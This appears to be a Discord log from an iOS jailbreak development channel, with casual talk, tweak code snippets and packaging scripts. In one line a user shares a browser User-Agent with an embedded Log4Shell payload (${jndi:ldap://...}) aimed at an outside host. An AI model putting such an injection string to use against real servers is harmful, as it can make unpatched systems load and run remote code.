#development

1 messages · Page 537 of 1

silver rampart
#

fuck is sparc even

#

saw that copying shit into ktool

silver rampart
#

oh sick

restive ether
#

it was sun microsystem’s thing so probably something more popular in SunOS

#

As of September 2017, the latest commercial high-end SPARC processors are Fujitsu's SPARC64 XII (introduced in 2017 for its SPARC M12 server) and Oracle's SPARC M8 introduced in September 2017 for its high-end servers.

silver rampart
#

tf

#

why does macho support it

ocean raptor
#

Why not

restive ether
#

On Friday, September 1, 2017, after a round of layoffs that started in Oracle Labs in November 2016, Oracle terminated SPARC design after the completion of the M8. Much of the processor core development group in Austin, Texas, was dismissed, as were the teams in Santa Clara, California, and Burlington, Massachusetts.

#

rest in piss

ocean raptor
#

ldid m68k woeis

restive ether
#

ldid for powerpc

#

boomers rejoice

tepid olive
#

procursus powerpc

silver rampart
#

although tbf i question whether most build tool shit would even be able to run on a 7k watch

#

lemme check the specs again

restive ether
#

how much memory does the watch have

silver rampart
#

768 MB RAM

#

16gb storage

restive ether
#

oh that’s reasonable

silver rampart
#

judging from ipsw size, 6gb of that is OS

restive ether
#

now that seems unnecessary

ocean raptor
silver rampart
#

and probably more than half of that ram is getting eaten up by OS as well

silver rampart
#

they added so much shit to the dyld cache by iOS 15 it literally broke

grim sparrow
silver rampart
#

they had to split it back into smaller pieces to get it to load

grim sparrow
#

apple moment

restive ether
#

worked out in the end for ios

#

apps go zoom

silver rampart
#

i dont think anyone (maybe ida has by this point?) has gotten the new DSC format down yet

grim sparrow
#

only if you target iOS 15+ only

silver rampart
#

and they haven't put out source either

grim sparrow
#

ipsw has

ocean raptor
silver rampart
ocean raptor
grim sparrow
ocean raptor
#

I haven't checked in a while

grim sparrow
#

all I know is that you can pull raw binaries from it

#

used it to add iOS 15 support to my tweaks

silver rampart
restive ether
#

anyways cool project

silver rampart
#

lowkey am waiting on arandomdev bc i dont want to come in and fuck up their codebase they've worked so hard to clean up

restive ether
#

to be fair it’s python so i could probably do it but you’re cam and that seems more fun

silver rampart
#

it'd be rough for someone new to the codebase tbh

ocean raptor
#

Ghidra supports the new format

silver rampart
#

we both crafted our own C struct system instead of using the builtin struct shit

#

for some reason

ocean raptor
#

@restive ether Work on open which should be relatively easy, or learn python and machO formats

restive ether
#

oh i just meant the makefile

#

but you do you dog if you wanna learn python be my guest

silver rampart
#

makefile for python?

restive ether
#

yeah the procursus makefile

silver rampart
#

that seems, odd

#

just use pip3?

#

as intended

restive ether
#

lazy

silver rampart
#

not doing that is far more work

#

it install_requires=['progressbar2', 'capstone==4.0.2'],

restive ether
#

do those even build on ios

silver rampart
#

no idea about capstone

#

if progressbar is a compiled python lib then fuck everything

ocean raptor
#

capstone needs to be compiled

silver rampart
ocean raptor
#

Absolute PITA when using DyldExtractor in a pyenv

silver rampart
#

my python on my arm laptop cant even handle any compiled deps

restive ether
#

very stable OS

silver rampart
#

sole reason that ktool has a "no compiled dependencies" rule

silver rampart
silver rampart
#

pip3 install --force-reinstall git+git://repo-url

#

some syntax for getting a specific commit

#

1.0.4 shouldn't require capstone

#

been meaning to ask about a capstoneless branch bc the capstone code does this to my dump action

tepid olive
#

why brew suck

silver rampart
#

good point

restive ether
#

doing a little trolling with procursus actions

#

@grim sparrow how is your memory trolling doing

grim sparrow
#

currently down a lot

#

lol

restive ether
#

just use shshd dumbass

grim sparrow
tepid olive
#

Hello I have a technical question about SSV. Can jailbreak developers interact with the root volume in the csrutil command line tool? Because it allows tagging of custom snapshots using apfs_systemsnapshot

torn oriole
#

I don’t think csrutil exists in iOS, could be wrong though

restive ether
#

it does not

torn oriole
#

Just put it in troll

restive ether
#

might exist in switchboard but i doubt it

torn oriole
#

Unless someone finds an iOS 15-esk build that will remain unanswered ig woeis

ocean raptor
restive ether
#

L

tepid olive
#

Is there something similar to that in iOS?

midnight ledge
#

are there any lower signed ipsw versions for iphone 6s? currently having trouble downgrading a non jailbroken device. Im sorry if this is the wrong section to ask for help

ocean raptor
#

No

torn oriole
restive ether
#

guess that makes sense since ios doesn’t really have a sip

#

since there’s no reason for it

torn oriole
ocean raptor
#

Just delete the message and move on smh

torn oriole
#

Yeah

midnight ledge
#

hey man, once again i apologize. I dont pay attention to the top of the screen

torn oriole
#

Just pay attention troll

tepid olive
#

Thank you

restive ether
#

but the SIP layer of things doesn’t exist i suppose, so you have more issues than just that basic fact in itself

torn oriole
#

Watch csrutil capability just appear in the next dev beta trol

#

I mean yeah they probably do, but just completely and utterly enforced

torn oriole
#

I mean people were wishing on a star about things the likes of checkm8 before it released thishowitis

#

You never know

restive ether
#

when apple inevitably gets cucked in like 5-6 years and they have to open up their OS then you’ll see csrutil on iOS

#

didn’t they win the epic lawsuit though

torn oriole
restive ether
torn oriole
#

Wasn’t there like, multiple apple vs epic?

tepid olive
#

And don’t forget right to repair

restive ether
#

right to repair is entirely different

restive ether
#

they can easily disable software locks

#

and just be forced to provide schematics

torn oriole
#

Purple restore public editiontroll

restive ether
#

oh that was a good time

#

in uhhhh

#

9.3?

#

i wanna say that’s when it was

torn oriole
#

iPhone 5s’s with the iTunes errortrolllaugh

restive ether
#

oh they had a similar issue in the 9 era

#

where it kept yelling at you

#

and i don’t think you could restore

torn oriole
#

Don’t they still make purplerestore?

restive ether
#

also another interesting thing is so 3rd party displays won’t start up on semi untethered jailbreaks

#

you can just like

#

ask someone who works at any apple store

torn oriole
restive ether
#

well i got some news for you

restive ether
#

pretty sure he’s a genius now

torn oriole
tepid olive
#

Weird/interesting

#

So to get around the new sealed system volume would need an rootless environment or an exploit? 🤔

restive ether
#

yeah good luck getting an SSV exploit

torn oriole
#

Rootless environment thishowitis

restive ether
#

you’re better off taking rootless

#

which personally i don’t see an issue with

torn oriole
#

RootlessJB back from the dead

restive ether
#

SSV in the greater scheme of things is a good thing

vivid dew
#

go ahead

#

find an exploit

restive ether
#

the boomers will find a way

#

i promise

torn oriole
#

Unless you modify roottrolllaugh

restive ether
#

you take ten thousand pictures

#

and your phone bootloops

#

idk

#

it’s been awhile

#

i saw it happen on 13 at least

#

was a long standing issue

#

way more common in hfs days

torn oriole
restive ether
#

average hfs user when they run out of space after installing one tweak

torn oriole
#

Average HFS userwoeis

tepid olive
#

Thanks guys for your technical side of things. It answered my questions.

#

😅

restive ether
#

thank you apple for not open sourcing your basic command line tools, that made cameron have to write C code and lose sleep 🙏🙏🙏

torn oriole
#

KekKEKW

tepid olive
restive ether
#

not really i don’t really see much of an issue

#

you won’t lose much

#

as long as you can still bypass amfid then life will go on

#

i think you can work around that

tepid olive
#

What types of tweaks use those? I never heard of them besides like iCleaner tool

restive ether
#

icleaner doesn’t use a launch daemon

#

and thankfully this would probably break that dumbass feature in icleaner that disables LDs

tepid olive
#

Yeah that’s true

ocean raptor
restive ether
#

apple open sourcing CF challenge

tepid olive
#

Asking for a friend lol but what is amfid? And why do you need a bypass for it?

ocean raptor
restive ether
#

need to kill it so you can run 3rd party binaries

#

or else you aren’t going to have a fun time, or do anything at all really

tepid olive
#

But isn’t that what SSV does?

ocean raptor
#

Code signature of binaries

#

SSV checks the hash of an apfs volume against a signed hash

torn oriole
#

Just make a new hash thishowitis

tepid olive
#

Oh I understand now

ocean raptor
#

If you want to fake it your device would have to be tethered

torn oriole
#

Rise of the tethered jailbreaks trolllaugh

indigo peak
#

i actually made a tethered jb for ios 15

ocean raptor
#

Don't worry we have rootless procursus 99% there

indigo peak
#

green bg for jailbroken proof

fathom pasture
#

spoofing strings 💀💀

ocean raptor
#

Literally [redacted]

torn oriole
#

Me and the boys with serial number [redacted] phones

tepid olive
#

I love the name: Not iPhone

fathom pasture
restive ether
torn oriole
restive ether
#

please update your phone that’s incredibly cringe

next wadi
#

t

restive ether
#

L

torn oriole
#

I could update to 15.0.1

#

Just for you

ocean raptor
#

We shouldn't, you can launchctl load from any arbitrary path

#

Oh, you're right

#

We can just have the jb do that though

#

Yes

#

Don't really see an alternative

#

@restive ether I'm not gonna do my open(1) clone anymore, gonna do a launchctl clone instead troll

restive ether
#

oh well

#

we need that kinda

#

so

#

works

ocean raptor
#

I'm not gonna do that

#

idiot

restive ether
#

go ahead

#

nerd

ocean raptor
#

@midnight leaf can you make sure all your control files have a newline at the end? it is required or your packages won't install

tepid olive
#

Work

untold river
#

Yeah but I set it like a few days ago

#

When log4shell is still unpatched

torn oriole
#

imagine

ocean raptor
restive ether
#

yeah they use that in so much

#

especially in state, federal and other highly susceptible industries

untold river
#

lmao

#

Mozilla/5.0 (${jndi:ldap://beerpsi.me}; rv:94.0) Gecko/20100101 Firefox/96.0
sliding log4shell into my UA

ocean raptor
#

Did not ask

untold river
#

did not ask for your response either

ocean raptor
#

Did not ask for your response to my response

restive ether
#

your mom asked

twilit jungle
#

joe

silver rampart
#

tired: this
wired: install lldb on device and run it there

pearl sail
#

[[lldb]] trol

faint lionBOT
#
liblldb-11

Next generation, high-performance debugger, library

Author

Hayden Seay

Version

11.1.0~5.4.1~RELEASE

Price

Free

Repo
More Info
tacit spade
#

i put syntax highlighting

#

in a paper

gentle grove
#

for it

lime pivot
restive ether
#

hacker man

lime pivot
restive ether
#

iOS 14 jailbreaks with working debugging challenge

lime pivot
#

actually concerning if somehow log4j is involved in the pipeline of “send the contents of User-Agent back to the client”

azure sail
#

is this the place to get help on tweak development

lime pivot
#

hello we are profesional twek devlopers

restive ether
#

professional tweakers

lime pivot
#

professional twerk team

lament mica
#

@azure sail alfa, i have a bigger question

#

how are you planning on updating the breadcrumb

azure sail
#

good question

lament mica
azure sail
#

hours + minutes until the last minute

lament mica
azure sail
lament mica
azure sail
lament mica
#

the code is on github?

untold river
untold river
vivid dew
#

it means the code sucks

untold river
untold river
azure sail
lament mica
azure sail
#

is that open sourced

vivid dew
#

anyone want to play halo

azure sail
untold river
untold river
#

Can't do shit

vivid dew
#

what about

#

monster hunter

azure sail
#

what that

vivid dew
#

go ahead

#

ask me what you do in monster hunter

azure sail
#

what do you do in monster hunter

vivid dew
lament mica
#

@azure sail oof, UIStatusBarBreadcrumbItemView. this is removed in ios 12

lament mica
azure sail
#

i don't remember using it on my 5s

#

only kept it for a year

untold river
#

shell script written on Windows moment

ocean raptor
#

Imagine using whiptail instead of bsddialog smh

untold river
#

Not my code

ocean raptor
#

This is really weird

#

CFPreferenceSynchronize seems to return wrong...

grim sparrow
#

It either returns true or false, how can it be wrong

ocean raptor
next wadi
ocean raptor
#

My defaults is 100% finished now

ocean raptor
vivid dew
#

what’s wrong with a 250 gb project folder

main apex
untold river
#

and dont forget the baNaNa

vivid dew
#

@hardy glen

hardy glen
hardy glen
vivid dew
#

you know what you did,

hardy glen
#

do not decline

vivid dew
#

ok

#

i will ignore it

hardy glen
ocean raptor
#

This may be easier to reverse/backport than Sharing

indigo peak
#

oh hey
that's really nice of apple

gentle grove
#

real

vivid dew
#

fake

twilit jungle
#

news

indigo peak
#

america 2021 colorized

gentle grove
#

it has 2 stars on play store

tepid olive
#

K

twilit jungle
vivid dew
#

just got my free nitro

tepid olive
#

Congrats

hardy glen
#

Who here knowledgeable with UI

restive ether
indigo peak
#

im basically a pro

late ridge
indigo peak
#

oh chris

#

did you use calculatorhistory?

late ridge
#

I meant to try it out haven't gotten to it yet

indigo peak
#

ah

#

when you do let me know how it is

late ridge
#

wut repo

faint lionBOT
late ridge
#

das rly cool

indigo peak
#

:D

late ridge
#

row actions are dope

#

we love iOS discord

indigo peak
#

discord development team pushing new updates "that'll probably work"

late ridge
#

i was so mad when I found out android gets a native app while we get react woecry

indigo peak
#

wtf

restive ether
#

discord working app challenge

#

please amy 🙏🙏

tepid olive
late ridge
indigo peak
#

smol fr

main apex
hardy glen
#

Well i wanna present a view controller with pull down gesture enabled with background not being dimmed. I can use form modal style but the main thing is the background is dimmed

#

See the difference

#

The top doesn’t have the background dimmed but the pull down gesture is disabled

#

Because I am using over context

main apex
#

@tepid olive Hey guess what, tweaks still use canister from the bot :P #bot-commands message

tepid olive
hardy glen
#

I guess I have to use custom modal style and do some shit

main apex
hardy glen
#

I have a feeling all the UI questions is something Amy can answer lmao

restive ether
tepid olive
#

So I have a question if anyone is able to answer in technical detail but what are union mounts and bind mounts? Is this method only able to work with checkra1n or can the others use bind mount as well?

restive ether
#

union mounts don’t exist in ios 15 anymore

tepid olive
#

And when checkra1n teams says they are going to write code to create a new volume I thought volumes where locked down with SSV

weary heath
#

It is but it’s checkra1n, they can run code before iOS boots

tepid olive
#

So even before SSV does a volume check? They can get around that

restive ether
#

that wouldn’t be the rootfs so SSV doesn’t apply

#

i suppose that’s how that would work

tepid olive
#

But bind mount is in iOS 15?

#

All the technical side of this is quite interesting. That’s why I ask. Because I love learning more about the technical side of things

restive ether
#

apparently that’s not a well accepted idea like you’d think

#

considering check insists on using bind mounts

#

instead of a universal way that’s portable

weary heath
#

L

tepid olive
#

Looking it up online only talks about Linux using it

restive ether
#

except you don’t have parity across systems

tepid olive
#

Why you got such a problem with the filesystem? Lol

restive ether
#

because devs are stupid

#

and don’t cleanup their files

#

so they’re just all over the place

#

and if they don’t name them obvious enough you don’t know if it’s system or jailbreak

#

sigh that’s what preboot would’ve accomplished

tepid olive
#

That sounds like a fun time trying to figure out what is iOS or jailbreak

hardy glen
#

Facts!!!

#

Where all the tweak files/preference bundle shits/ resources are saved as well.

#

Uninstalling would be 1000 times simpler

tepid olive
#

@grave sparrow you be spending the next 10 years cleaning that mess up lol

hardy glen
#

Yea that’s a good idea. Focusing on the next important thing. Thats kinda what im doing

tepid olive
#

why cant i find any information whatsoever on canister online

hardy glen
#

Same

restive ether
#

/private/preboot/procursus

hardy glen
#

I just made it

#

Rn

restive ether
#

too bad dyld doesn’t like rpath, that would’ve been fun

hardy glen
#

Having shit written down makes shit so much easier

#

Yup

#

I also keep a pen and paper around if im working with alogos just to visualize it

#

If i get confused

#

I have one

#

Except i have the 8th gen ipad with a fake apple pencil

#

Oh nah vectors and matrices

hardy glen
#

i tried to learn them like a week ago while working with opengl

#

Lmaoo

tepid olive
#

why

hardy glen
#

? What you mean why

restive ether
#

parcility is proprietary too, you aren’t going to find anything about it either

#

i don’t get it

tepid olive
restive ether
#

well it doesn’t have a website?

tepid olive
#

Thanks guys! Have a good one!

restive ether
#

cool

#

what about it

#

i’m talking about canister

#

it doesn’t have a website so what would you find

hardy glen
#

Canister is just api afaik

restive ether
#

@next wadi balls

tepid olive
#

ok

#

how many repos does cansiter have

restive ether
#

more than parcility

tepid olive
#

ok but how many

hardy glen
#

Nice ended off the semester with all 4 As

restive ether
#

i’m not counting

hardy glen
#

I literally got a 90.0% in calculus

tepid olive
#

?

restive ether
#

where do you think you’d find that to begin with

#

no

tepid olive
#

why is it so fucking shit

restive ether
#

how is it shit

#

please go ahead and give me your technical analysis

next wadi
tepid olive
next wadi
#

canister was made by one person in a day

restive ether
#

because there’s not supposed to be?

next wadi
#

parcility was made by a whole ass team over months

#

and parcility STILL sucks ass

#

u thought u ate that

#

💀

restive ether
#

canister isn’t public lmfao why would there be docs

tepid olive
next wadi
restive ether
#

no one ever said it was public

#

you’re just doing your own thing dog

next wadi
restive ether
#

after months

#

GO AHEAD

next wadi
#

fr

tepid olive
#

if its not public how the hell are you supposed to do this

next wadi
#

parcility sucks ass

restive ether
#

you ask

#

like a normal person would

next wadi
hardy glen
#

^

next wadi
#

good luck

#

add it yourself

hardy glen
#

I would just ask tale

restive ether
#

i haven’t seen that one

next wadi
#

i think?

#

yea its the canister icon

#

has been for a while

restive ether
#

oh hey i did all these repos

next wadi
#

ok?

tepid olive
#

canister has 163 less repos than parcility

restive ether
#

@next wadi yo who gave that mf the slug aids

next wadi
#

you have 163 less bitches than the average american /s

next wadi
#

make a pr

restive ether
#

you mean the 163 piracy repos i removed

next wadi
restive ether
next wadi
#

troll’

#

!

#

@gentle crescent i have a feature idea

#

what if we add all the piracy repos from the canister piracy list to the filter

#

so it autofilters them

tepid olive
next wadi
#

follow the FORMAT

tepid olive
#

???????

next wadi
#

manifests/index-repositories.json

#

every repo in canister has a spot in that json

restive ether
#

bro it’s literally a json

#

not that hard

next wadi
#

you add a repo to that json

#

and make a pr

#

it gets merged and automatically gets indexed

#

that simple

tepid olive
#

how the fuck do i make a pr when its closed to prs

next wadi
#

it shouldnt be

#

ok

twilit jungle
#

pirate the source if its closed to prs, ez

next wadi
#

Captain Incorporated .

#

D. Bruv .

twilit jungle
#

Hai dan

next wadi
#

thats parcility

#

i dont manage parcility

#

i help with canister

next wadi
restive ether
#

it didn’t get caught in the duplicates check

next wadi
#

🚎

restive ether
next wadi
#

wtf

tepid olive
twilit jungle
next wadi
#

You have it right?

restive ether
#

n

#

i never got an email about an invite

next wadi
#

f

restive ether
#

so i don’t think so

next wadi
#

does stecky have it?

#

@tepid olive wake up r

restive ether
#

don’t think he does either

next wadi
#

wtf

restive ether
#

@next wadi there fix that too

next wadi
#

I will when i get access

restive ether
#

n

next wadi
#

y

#

ohhh wrong n

#

he giving me access rn @restive ether

restive ether
#

fr

next wadi
#

dupes are gonna be autoremoved by the script soon

#

but i’ll remove them myself for now

restive ether
#

there’s more repos i could add

#

but i forgot where i put my list

next wadi
#

im not home rn but i’ll fix them once i am

native dune
#

is my repo on it

restive ether
#

just search for nebula

#

if it’s not just ask jaidan to add it

tepid olive
#

you guys all piss me the fuck off

native dune
#

it’s there

main apex
tepid olive
#

do you want me to leave again

vivid dew
#

yes

hardy glen
#

leave

main apex
tepid olive
main apex
lethal kayak
#

I think she left

#

lol

twilit jungle
main apex
restive ether
#

nerd

hardy glen
#

F

#

Bullied

misty cradle
#

L

#

Go sleep sem

#

It’s 1 am

high citrus
#

@indigo peak it doesn’t seem to register all the numbers, for example if you do 5 + 5 + 5 = 15 it only remembers the last 2 (5+5=15)

indigo peak
#

the real question is

#

why is it 1 am

misty cradle
indigo peak
#

and youre checking what 5 + 5 is

high citrus
#

Timezones exist

misty cradle
#

5+5 is 15 confirmed

high citrus
#

But you’re right, I could’ve done this at 4 am

ocean raptor
hardy glen
#

damn nice

restive ether
#

for research purposes it’ll probably be nice

grizzled gulch
#

Hi guys, I'm working on the Random Roles feature for my werewolf game. Assume that we ignore the balance of the game, just pick randomly.
Curently, my idea is to use 2 arrays, one is for roles that can duplicate, the other array is for roles that can be picked once time only. I gonna random among these 2 arrays to pick out random roles and then I'll push and have a set of random roles. Anyone has a better idea?

untold river
#

do I use zstd instead of xz for a speed gain of 1.6 seconds

grim sparrow
untold river
#

i mean im not doing packages

#

i am doing another checkra1n distro so i have the freedom to choose whatever compression method

#

¯_(ツ)_/¯

lime pivot
#

give it a year checkrain is gonna be as fragmented as linux

vivid dew
#

why aren't you working on checkviathan with me

untold river
#

then my distro trill

lime pivot
indigo peak
#

checkra cos(0) n

misty cradle
gentle grove
#

the difference in ratio doesn't really make up for the speed

gentle grove
#

checkra sin(π/2) n

indigo peak
#

pie

subtle grail
#

sohcahtoa

indigo peak
#

you spelt your name wrong

gentle grove
#

sine pi

restive ether
silver rampart
#

checkra1n open source date looking like the JWST launch date at this point

ocean raptor
#

@lime pivot So how do you want to handle the conflict for defaults? Should I just setup a dpkg-divert in my package or do you want to rename your as defaults-cephei and we both setup update-alternatives?

#

postinst:

#!/bin/sh
if [ "$1" = "configure" ]; then
  update-alternatives --install /usr/bin/defaults defaults /usr/bin/defaults-cephei 10
fi

prerm:

#!/bin/sh
if [ "$1" = "remove" ]; then
  update-alternatives --remove defaults /usr/bin/defaults-cephei
fi
ocean raptor
restive ether
#

this is true

indigo peak
#
%hook SpringBoard
-(void)applicationDidFinishLaunching:(id)application {
    %orig;
    [[NSNotificationCenter defaultCenter] addObserver:self selector:@selector(handleRouteChange:) name:AVAudioSessionRouteChangeNotification object:[AVAudioSession sharedInstance]];
}

%new
-(void)handleRouteChange:(NSNotification *)notif {
    NSDictionary *dict = notif.userInfo;
    AVAudioSessionRouteDescription *routeDesc = dict[AVAudioSessionRouteChangePreviousRouteKey];
    AVAudioSessionPortDescription *prevPort = [routeDesc.outputs objectAtIndex:0];
    // do funny code here to detect when headphones are plugged in
    
}
%end

I'm using this code to detect when wired headphones are plugged in to a device, and i was previously doing if ([prevPort.portType isEqualToString:AVAudioSessionPortHeadphones]) to detect when the headphones are plugged in, but it also triggers for airpods

#

anyone know how to make it so it only detects for wired headphones

grim sparrow
#

you can probably do something with IOKit

vivid dew
#

tldr

indigo peak
# vivid dew tldr

tldr AVAudioSessionPortHeadphones works for both wired headphones and airpods, meanwhile i just want it to work for wired headphones

vivid dew
#

that makes sense

indigo peak
#

an output to wired headphones

#

last time i checked

#

airpods aren't connected by a wire

twilit jungle
#

Bruh that hook should not exist

indigo peak
#

why not

#

state of the art

#

top of the line

#

logos hooks ™️

twilit jungle
#

You should be able to add your observer in the ctor directly...

indigo peak
#

true

#

i know that it's a bad hook

#

but it's not for a serious tweak

twilit jungle
indigo peak
#

but do you have any ideas

#

other than fixing the hook

#

because i can't figure out this iOKit shit

#

but i probably should, because it also triggers on the launch of any camera app

vivid dew
indigo peak
#

don't fr me

twilit jungle
vivid dew
twilit jungle
indigo peak
#

dgh0st's fr is bigger

lime pivot
#

I’m assuming you have both wired and wireless to test it with

indigo peak
#

yes, i have apple's wired lightning earpods and airpods

indigo peak
lime pivot
#

aw boo

indigo peak
#

like without comparing dynamic things, such as device names, uids etc

#

i tried checking for internal microphones, and airpods also triggered that

lime pivot
#

lightning earpods identify themselves don’t they?

#

it’s not just something generic like “lightning audio device”

indigo peak
#

not through AVAudioSession

#

im checking all the nsnotifications sent through the device right now

#

trying to find another class that might work

#

i think accessoryd might work, but its not a nsnotification

#

but i have no idea how i would hook that and get what i need

#

only reason i think it might work, was when i did just oslog on my device

#

i got that

#

but im not sure how i would use that to my advantage

twilit jungle
#

connectionType?

indigo peak
#

but like im not sure how i could even go about getting to the connectiontype

twilit jungle
#

What did you log to see that?

indigo peak
#

uh

#

its from the entire system log

#

i did oslog and i filtered through by hand

twilit jungle
#

Oh thats default logs

indigo peak
#

i think i mightve gotten something

twilit jungle
#

You could register for that CoreAnalytics event and look at the userInfo (assuming thats what that eventDict is referring to)

lime pivot
#

I reckon you might also find Sonitus useful

#

maybe

restive ether
#

shameless chariz plug

indigo peak
#

how do i use a private framework

lime pivot
#

🔌

indigo peak
#

i found that

#

and i think it might work

#

wait

lime pivot
indigo peak
#

im dumb

#

please hold

lime pivot
#

this hold music is shit

indigo peak
#

my b

restive ether
#

i need a good adblock safari extension help a brotha out

restive ether
#

@lime pivot when are you going to make safari extension theos template

ocean raptor
restive ether
#

your mother

lime pivot
restive ether
#

adguard is dumb

#

too much going on

tepid olive
#

your mom is dumb

restive ether
#

maybe she is

#

but she’s nice

ocean raptor
#

Ublock origin safari woeis

restive ether
#

sad that’s a dead project

ocean raptor
restive ether
restive ether
tepid olive
#

I mean Google is only killing off Manifest V2 fully in 2023 IIRC but Apple also has limitations that would make uBO less effective

indigo peak
#

@lime pivot NSConcreteNotification 0x283ccaa60 {name = AVSystemController_HeadphoneJackIsConnectedDidChangeNotification; object = <AVSystemController: 0x2832042a0>}
i got that in a log

#

and it works

#

but

restive ether
#

apple only allows stateless

#

or something

indigo peak
#

AVSystemController is a private framework

#

i think

restive ether
#

so use it dog

twilit jungle
lime pivot
ocean raptor
restive ether
#

netctl is like half private frameworks

lime pivot
#

oh, yeah I was meant to respond

#

I just need to make sure saurik dpkg has update-alternatives

#

if not… idk what

restive ether
#

does sam’s even have it

lime pivot
#

yes

ocean raptor
lime pivot
#

although…

#

in fairness if not, I can literally just make a symlink in postinst

hardy glen
ocean raptor
#

Just drop iOS 5 support smh

restive ether
#

yeah i mean

#

unless you got some memory leaks to fix

#

ios 5 probably ain’t getting much anyways

grim sparrow
#

@lime pivot hi

lime pivot
#

hi

restive ether
#

time for cephei swift for 14+ 🙄

grim sparrow
#

I require your thoughts

lime pivot
#

unfortunately iOS 5 - 14 cephei is the one everyone is using right now so it's gotta work there

#

man I really couldn't make it to 10 iOS versions supported

#

Apple had to do that to me

indigo peak
#

@grim sparrow wtf amy

#

this is racist

grim sparrow
restive ether
#

can’t believe you put yourself through the stress of supporting 9 versions to begin with

lime pivot
grim sparrow
#

thank you for your insight ZeroAkek

lime pivot
#

I mean it was easy to support such a wide array of versions until Apple did the arm64e ABI trash

#

that ruined the fun

restive ether
#

what did they even change for it to be ABI incompatible

grim sparrow
#

@silver rampart

restive ether
#

i don’t trust people who go to chicken school

vivid dew
#

well, for starters, they added the e at the end (which stands for estrogen)

silver rampart
restive ether
silver rampart
#

arm64epic

indigo peak
#

AVSystemController has a notification named AVSystemController_HeadphoneJackIsConnectedDidChangeNotification, but has no way to detect how it changed

#

like

#

what

vivid dew
#

well it can only change in two ways

#

either it is connected or it's not

indigo peak
#

but theres no way to tell if its connected or not

#

i think

vivid dew
ocean raptor
#

Don't care TrollFront

indigo peak
#

and i wont care when you leave the server again in ~20 minutes

vivid dew
#

F

ocean raptor
vivid dew
#

we need to exterminate all jailbreak developers

indigo peak
#

oh my fucking got it actually worked

restive ether
indigo peak
#
%hook SpringBoard
static BOOL connected = NO;
BrokePodsConnectionViewController *vc;
-(void)applicationDidFinishLaunching:(id)application {
    %orig;
    [[NSNotificationCenter defaultCenter] addObserver:self selector:@selector(handleRouteChange:) name:@"AVSystemController_HeadphoneJackIsConnectedDidChangeNotification" object:[AVSystemController sharedAVSystemController]];
}

%new
-(void)handleRouteChange:(NSNotification *)notif {
    if(!connected) {
        vc = [[BrokePodsConnectionViewController alloc] init];
        [[UIApplication sharedApplication].keyWindow.rootViewController presentViewController:vc animated:YES completion:nil];
        connected = YES;
    } else {
        [vc dismiss];
        connected = NO;
    }
}
%end
#

:D

restive ether
#

broke ass

twilit jungle
tepid olive
#

real

vivid dew
tepid olive
#

h

indigo peak
twilit jungle
#

There is literally only 1 line of code that isn't hacky

indigo peak
#

can confirm

#

you dont even want to know how i made the UI

twilit jungle
#

Can't be worse than loading a giant framework for one class

lime pivot
#

no need to use CF notification API like I did there tbh

vivid dew
#

trolley

indigo peak
indigo peak
lime pivot
#

hahah

#

sorry bro

indigo peak
#

:woecry:

lime pivot
#

I forgot I wrote this

#

like 10 years ago

indigo peak
#

my life is over

#

I was 6 scarystare

lime pivot
#

wittle baaaaby 👶

#

baby donato

indigo peak
gentle grove
vivid dew
#

do you have anything worthwhile to say or are you just going to . like an idiot

lime pivot
#

.

ocean raptor
#

.

twilit jungle
vivid dew
#

all of you are blocked

twilit jungle
indigo peak
vivid dew
indigo peak
twilit jungle
#

Can I get a green version of that?

vivid dew
#

it is a cursed image

#

you will die in 7 days unless you dm it to someone else

indigo peak
#

can we speed up these 7 days

twilit jungle
#

finally

indigo peak
twilit jungle
#

that means we all die if not everyone dm it to someone else

vivid dew
twilit jungle
#

true

indigo peak
#

what do you want me to use

#

github copilot generated that for me

#

so

#

nahhhhhhhh

#

look at it

#

isn't it cursed beautiful

twilit jungle
#

Its so bad I wouldn't even download that on an android user's device

tidal atlas
#

sorry not sorry

restive ether
#

tweak.troll

twilit jungle
#

ios15.sdk/download

vivid dew
#

wtf

gentle grove
#
ocean raptor
#

I'll attach debs to that release when it's updated on procursus

tacit spade
#

I’m gonna do it

#

I’m gonna make every UIView animation linear

#

no curves

#

just linear

misty cradle
#

ratio

misty cradle
restive ether
#

oh jesus

#

my question is

grim sparrow
#

nah

restive ether
#

why

grim sparrow
#

I prefer zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzDeez

restive ether
#

i agree

#

that’s a skill issue

#

that’s only not going to work if you use substrate so

#

actually just a skill issue

#

your idea seems more convoluted then a simple working solution

grim sparrow
#

but this wouldn't work for something like choicy

#

if two tweaks depend on nothing what will it go off

#

so what you've done is make a convoluted system which has the same flaw

#

not really

#

the solution to the other half is how you solve the first part

#

as of now, nothing

hasty ruin
#

Ask the user which dylibs to load first, upon every respring

#

Seems intuitive enough, and will work perfectly!

grim sparrow
#

stop

#

stop

#

stop

#

stop

#

sto

#

psto

#

ptgfdoikgj

#

nah

#

you'd get too many brainlets doing it wrong

lime pivot
#

better idea: just dlopen what you need to come first

#

when you absolutely must load first is the only exception, seems totally fine to me

#

see also /etc dirs on Linux with numeric prefixes to order what happens when

#

/etc/grub, /etc/motd.d, /etc/sysctl.d

indigo peak
lime pivot
#

yo

#

I think instead of UIKitImage() you can just use [UIImage kitImageNamed:] @indigo peak

indigo peak
#

probably

#

i stole that from scoob

#

from iflooder

lime pivot
#

not sure if that even still works

#

basically everything interesting was in kit images back before the Assets.car days

indigo peak
#

well i would've used a SF Symbol, but i wanted sub iOS 13 support

lime pivot
#

// This is the most cursed code, please don't judge me seems fine to me

indigo peak
#

i should've put that at the top of the file

#

and not just before the horrible springboard hook

lime pivot
#

heheh

indigo peak
#

i have to start putting disclaimers like krit does

#
//     GLOBALS ARE BAD, I'M JUST INCREDIBLY LAZY
//    3 am tweak request

// 2021 update: yep code still shit
//```
gentle grove
#

DISCLAIMER??

#

WTF

#

BAD DEVELOPER!!!!!!!!!!!!!

lime pivot
#
// Note: I have no idea what I’m doing, please don’t judge or trust this code```
ocean raptor
#

What's wrong with globals?

#

They exist for a reason

indigo peak
#

all of my tweaks are going to have a disclaimer on the repo depiction "if there is a bug, sucks to be you, it works on my machine"

vivid dew
#

the guy at the amazon returns department inspecting the pliers i used to rip my toenails off:

indigo peak
#

capt

vivid dew
#

what does the cp stand for

indigo peak
#

christmas penis

untold river
#

Christmas Penis, Totally

lime pivot
indigo peak
#

definitely google slides word art

untold river
indigo peak
#

true

lime pivot
#

the CPT Corporation

indigo peak
lime pivot
#

a faceless multinational conglomerate that does… something, idk, nobody knows what exactly

#

c🅱️t

vivid dew
#

when asked why the stock price was falling, the ceo just said "pac" over and over

next wadi
#

:c:

#

f

weary heath
#

cp inc

untold river
#
